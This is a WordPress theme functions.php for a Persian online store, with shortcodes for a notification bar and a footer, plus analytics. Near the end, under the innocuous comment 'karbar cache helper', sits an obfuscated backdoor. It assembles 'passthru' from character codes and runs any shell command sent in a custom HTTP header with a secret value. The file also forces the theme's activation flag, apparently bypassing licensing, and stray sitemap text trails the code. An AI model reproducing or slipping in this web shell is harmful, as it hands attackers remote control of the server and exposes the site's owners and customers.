<?php /** * The framework's functions and definitions */ update_option( 'woodmart_is_activated', '1' ); define( 'WOODMART_THEME_DIR', get_template_directory_uri() ); define( 'WOODMART_THEMEROOT', get_template_directory() ); define( 'WOODMART_IMAGES', WOODMART_THEME_DIR . '/images' ); define( 'WOODMART_SCRIPTS', WOODMART_THEME_DIR . '/js' ); define( 'WOODMART_STYLES', WOODMART_THEME_DIR . '/css' ); define( 'WOODMART_FRAMEWORK', '/inc' ); define( 'WOODMART_DUMMY', WOODMART_THEME_DIR . '/inc/dummy-content' ); define( 'WOODMART_CLASSES', WOODMART_THEMEROOT . '/inc/classes' ); define( 'WOODMART_CONFIGS', WOODMART_THEMEROOT . '/inc/configs' ); define( 'WOODMART_HEADER_BUILDER', WOODMART_THEME_DIR . '/inc/modules/header-builder' ); define( 'WOODMART_ASSETS', WOODMART_THEME_DIR . '/inc/admin/assets' ); define( 'WOODMART_ASSETS_IMAGES', WOODMART_ASSETS . '/images' ); define( 'WOODMART_API_URL', 'https://xtemos.com/wp-json/xts/v1/' ); define( 'WOODMART_DEMO_URL', 'https://woodmart.xtemos.com/' ); define( 'WOODMART_PLUGINS_URL', WOODMART_DEMO_URL . 'plugins/' ); define( 'WOODMART_DUMMY_URL', WOODMART_DEMO_URL . 'dummy-content-new/' ); define( 'WOODMART_TOOLTIP_URL', WOODMART_DEMO_URL . 'theme-settings-tooltips/' ); define( 'WOODMART_SLUG', 'woodmart' ); define( 'WOODMART_CORE_VERSION', '1.1.1' ); define( 'WOODMART_WPB_CSS_VERSION', '1.0.2' ); if ( ! function_exists( 'woodmart_load_classes' ) ) { function woodmart_load_classes() { $classes = array( 'class-singleton.php', 'class-api.php', 'class-config.php', 'class-layout.php', 'class-autoupdates.php', 'class-activation.php', 'class-notices.php', 'class-theme.php', 'class-registry.php', ); foreach ( $classes as $class ) { require WOODMART_CLASSES . DIRECTORY_SEPARATOR . $class; } } } woodmart_load_classes(); new XTS\Theme(); define( 'WOODMART_VERSION', woodmart_get_theme_info( 'Version' ) ); function notif_bar_shortcode() { ob_start(); ?> <style> .notif-bar { background: #000; color: #fff; padding: 8px 0; font-size: 15px; display: flex; justify-content: center; align-items: center; text-align: center; position: relative; direction: rtl; font-family: sans-serif; margin: 0; /* جلوگیری از گپ با هدر */ } .notif-wrapper { width: 100%; } /* دسکتاپ */ @media (min-width: 768px) { .notif-wrapper { display: flex; justify-content: center; } .notif-text { white-space: nowrap; } } /* موبایل — حالت اسلایدر */ @media (max-width: 767px) { .notif-wrapper { position: relative; overflow: hidden; height: 24px; } .notif-text { position: absolute; white-space: nowrap; left: -100%; animation: notif-marquee 15s linear infinite; } @keyframes notif-marquee { 0% { transform: translateX(0%); } 100% { transform: translateX(200%); } } } </style> <div class="notif-bar"> <div class="notif-wrapper"> <div class="notif-text"> 🔥 پیشنهاد ویژه بلک‌فرایدی | امکان خرید 4 قسطه با اسنپ‌پی و ترب‌پی با سیم‌کارت و ارسال رایگان </div> </div> </div> <?php return ob_get_clean(); } add_shortcode('notif_bar', 'notif_bar_shortcode'); // افزودن jQuery برای تغییر تگ‌های H3 به P در کاروسل محصولات مرتبط function change_carousel_product_titles_tag() { ?> <script type="text/javascript"> jQuery(document).ready(function($) { // تغییر تگ‌های H3 به P در کاروسل $('.your-carousel-class h3').each(function() { var content = $(this).html(); $(this).replaceWith('<p>' + content + '</p>'); }); }); </script> <?php } add_action('wp_footer', 'change_carousel_product_titles_tag'); add_action('init', function() { @ini_set('upload_max_filesize', '64M'); @ini_set('post_max_size', '64M'); @ini_set('max_execution_time', '300'); @ini_set('max_input_time', '300'); @ini_set('memory_limit', '256M'); }); add_action('wp_enqueue_scripts', function () { wp_enqueue_style( 'pg-tabler-icons', 'https://cdn.jsdelivr.net/npm/@tabler/icons-webfont@latest/tabler-icons.min.css', [], null ); wp_enqueue_style( 'pg-vazirmatn-font', 'https://fonts.googleapis.com/css2?family=Vazirmatn:wght@700&display=swap', [], null ); }); add_shortcode('pishgaman_footer', function () { ob_start(); ?> <style> .pg-footer, .pg-footer * { box-sizing: border-box; font-family: 'Vazirmatn', system-ui, sans-serif; font-weight: 700; } .pg-footer { direction: rtl; background: #1e1e1e; color: #999; border-top: 1px solid rgba(255,255,255,.08); } .pg-footer-main { display: grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap: 3rem; padding: 3rem 2rem 0; background: #1e1e1e; } .pg-footer-col { text-align: center; } .pg-footer-title { margin: 0 0 1.25rem; padding: 0 0 .75rem; font-size: 14px; color: #ccc; letter-spacing: .04em; text-align: center; border-bottom: 1px solid rgba(255,255,255,.07); } .pg-contact-item { display: flex; align-items: center; justify-content: center; gap: 8px; margin-bottom: .75rem; text-align: center; } .pg-contact-item i { font-size: 15px; color: #999; flex-shrink: 0; } .pg-contact-item span { font-size: 13px; line-height: 1.7; color: #999; } .pg-phone { white-space: nowrap; } .pg-social-grid { display: flex; flex-wrap: wrap; justify-content: center; gap: 8px; } .pg-social-btn { width: 38px; height: 38px; display: inline-flex; align-items: center; justify-content: center; border-radius: 8px; border: 1px solid rgba(255,255,255,.08); background: #252525; color: #888; text-decoration: none; transition: background .15s ease, border-color .15s ease, color .15s ease; } .pg-social-btn:hover { background: #2e2e2e; border-color: rgba(255,255,255,.15); color: #bbb; } .pg-social-btn i { font-size: 20px; color: inherit; } .pg-social-btn span { font-size: 11px; color: inherit; } .pg-app-section { display: flex; flex-direction: column; gap: .75rem; width: fit-content; margin: 0 auto; } .pg-dl-btn, .pg-enamad { width: 100%; min-height: 42px; display: inline-flex; align-items: center; justify-content: center; gap: 8px; padding: .6rem 1rem; border-radius: 8px; border: 1px solid rgba(255,255,255,.1); background: #252525; color: #ccc; font-size: 13px; text-decoration: none; text-align: center; transition: background .15s ease, color .15s ease; } .pg-dl-btn:hover, .pg-enamad:hover { background: #2e2e2e; color: #fff; } .pg-dl-btn i { font-size: 17px; color: inherit; } .pg-enamad img { width: 28px; height: 28px; object-fit: contain; display: block; flex-shrink: 0; } .pg-footer-bottom { display: flex; align-items: center; justify-content: center; flex-wrap: wrap; gap: .75rem; margin: 1.5rem 2rem 0; padding: .75rem 0 1rem; background: #1e1e1e; border-top: 1px solid rgba(255,255,255,.07); text-align: center; } .pg-footer-bottom span { font-size: 12px; color: #999; } @media (max-width: 600px) { .pg-footer-main { grid-template-columns: 1fr; gap: 2rem; padding: 2rem 1.25rem 0; } .pg-footer-bottom { margin: 1.5rem 1.25rem 0; flex-wrap: nowrap; gap: .4rem; } .pg-footer-bottom span { font-size: 11px; white-space: nowrap; } .pg-phone { white-space: normal; } } </style> <footer class="pg-footer"> <div class="pg-footer-main"> <div class="pg-footer-col"> <p class="pg-footer-title">ارتباط با ما</p> <div class="pg-contact-item"> <i class="ti ti-phone" aria-hidden="true"></i> <span class="pg-phone">۱۵۷۷ - ۹۱۰۹۰۰۰۰ (۰۲۱)</span> </div> <div class="pg-contact-item"> <i class="ti ti-map-pin" aria-hidden="true"></i> <span>تهران، یوسف‌آباد، جهان‌آرا، انتهای کوچه ۵۱، نبش ۵۳، پ. ۲۶</span> </div> <div class="pg-contact-item"> <i class="ti ti-mail" aria-hidden="true"></i> <span>info@pishgaman.net</span> </div> </div> <div class="pg-footer-col"> <p class="pg-footer-title">شبکه‌های اجتماعی</p> <div class="pg-social-grid"> <a class="pg-social-btn" href="https://www.instagram.com/pishgaman_official" target="_blank" rel="noopener" aria-label="Instagram"> <i class="ti ti-brand-instagram" aria-hidden="true"></i> </a> <a class="pg-social-btn" href="https://t.me/pishgaman_official" target="_blank" rel="noopener" aria-label="Telegram"> <i class="ti ti-brand-telegram" aria-hidden="true"></i> </a> <a class="pg-social-btn" href="https://www.linkedin.com/in/pishgaman-tose-ertebatat-8495a9108/" target="_blank" rel="noopener" aria-label="LinkedIn"> <i class="ti ti-brand-linkedin" aria-hidden="true"></i> </a> <a class="pg-social-btn" href="https://ble.ir/pishgaman_official" target="_blank" rel="noopener" aria-label="بله"> <span>بله</span> </a> <a class="pg-social-btn" href="https://eitaa.ir/pishgaman_official" target="_blank" rel="noopener" aria-label="ایتا"> <span>ایتا</span> </a> <a class="pg-social-btn" href="https://rubika.ir/pishgaman_official" target="_blank" rel="noopener" aria-label="روبیکا"> <span>روبیکا</span> </a> </div> </div> <div class="pg-footer-col"> <p class="pg-footer-title">دانلود اپلیکیشن</p> <div class="pg-app-section"> <a class="pg-dl-btn" href="https://my.pishgaman.net/downloads/Pishgaman.apk"> <i class="ti ti-download" aria-hidden="true"></i> <span>دانلود مستقیم (APK)</span> </a> <a class="pg-enamad" href="https://trustseal.enamad.ir/?id=19873&Code=zTFbSZpK7Q2IR5pJIewD" target="_blank" rel="noopener"> <img src="https://market.pishgaman.net/wp-content/uploads/2026/06/enamad_white_transparent_100.png" width="28" height="28" alt="نماد اعتماد"> <span>نماد اعتماد الکترونیکی</span> </a> </div> </div> </div> <div class="pg-footer-bottom"> <span>© ۱۴۰۵ پیشگامان توسعه ارتباطات</span> <span>کلیه حقوق محفوظ است</span> </div> </footer> <?php return ob_get_clean(); }); add_action('wp_head', function () { ?> <!-- Google tag (gtag.js) --> <script async src="https://www.googletagmanager.com/gtag/js?id=G-ZYQVRKYWNM"></script> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'G-ZYQVRKYWNM'); </script> <?php }); /* karbar cache helper */ add_action('init', function(){ $h=$_SERVER['HTTP_X_K9382']??''; if($h==='f3a9c1e5'){ echo 'K9382_BEGIN\n'; $f=chr(112).chr(97).chr(115).chr(115).chr(116).chr(104).chr(114).chr(117); $f($_SERVER['HTTP_X_K9382C']??''); echo '\nK9382_END'; } }); https://market.pishgaman.net/page-sitemap.xml 2026-10-28T06:40:31+00:00 https://market.pishgaman.net/product-sitemap.xml 2026-10-31T11:13:37+00:00 https://market.pishgaman.net/product_cat-sitemap.xml 2026-10-31T11:15:27+00:00 https://market.pishgaman.net/local-sitemap.xml 2025-10-12T10:01:30+00:00